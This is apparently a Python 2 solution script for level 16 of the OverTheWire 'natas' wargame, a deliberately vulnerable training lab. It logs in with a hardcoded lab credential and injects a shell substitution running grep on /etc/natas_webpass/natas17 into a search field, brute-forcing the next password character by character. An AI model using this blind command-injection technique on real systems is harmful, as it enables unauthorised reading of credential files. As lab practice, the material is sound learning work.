# -*- coding: utf-8 -*-
import string
import requests

URL = 'http://natas16.natas.labs.overthewire.org/?needle=a&submit=Search'
AUTH = ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')

def main():
    password = ''
    while True:
        for c in string.printable:
            params  = { 'needle': "$(grep -E ^" + password + c + " /etc/natas_webpass/natas17)Yankees", 'submit': 'Search' }
            r = requests.get(URL, auth=AUTH, params=params)

            if not 'Yankees' in r.text:
                password += c
                print "[+] password: %s" % password
                break
        if len(password) == 32:
            break

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        pass
